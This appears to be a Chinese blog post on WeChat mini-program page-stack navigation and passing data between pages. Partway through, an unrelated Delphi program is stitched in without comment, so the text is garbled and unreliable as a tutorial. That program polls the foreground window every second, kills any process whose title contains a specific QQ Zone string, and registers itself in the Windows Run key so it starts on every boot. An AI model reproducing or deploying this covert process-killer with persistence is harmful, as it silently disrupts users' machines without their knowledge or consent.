小程序销毁中间页面(三级跳转设置)

操作前景 列表页(A)->详情页(B)->选择服务页©,现在需要的是C->B之后,点返回按钮不能在出现C页面

现在(2019-4-27 00:00)的小程序页面栈可以有10层,但是页面销毁无法实现直接从栈中删除

  1. 曾经的解决方法(缺陷:如果小程序进入时只有1-2页,在点返回时会出现小程序进程退掉的BUG!!!?)
onUnload(){
    let pages = getCurrentPages().length - 1;
     console.log('需要销毁的页面:'+pages);
    wx.navigateBack({
    	delta: pages
    })
 }
  1. 折中的方法

B进入C时使用的方法

wx.navigateTo({
  url:'./xxxx'
})

C 返回B时使用的方法

wx.redirectTo({
	url:'./XXX'
})

目前还存在的问题 A->B->C之后,C获取修改的新数据后将数据传递给B,在B页面点返回就会出现B的旧数据页面,(页面栈中出现的页面数据A->B->C->B(新),这时的B(新)点返回按钮(页面出现的顺序为C(已跳过)—>B(旧)->A))

页面栈传递数据

  1. 在url中传递数据(只能传递字段)
  2. 通过全局传递(可以传递对象)

在app.vue中设置

globalData={
	xx:{}
}

a. 设置数据

// C页面设置数据
this.$parent.globalData.xx = {}

b. 读取数据

let xx = this.$parent.globalData.xx
Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值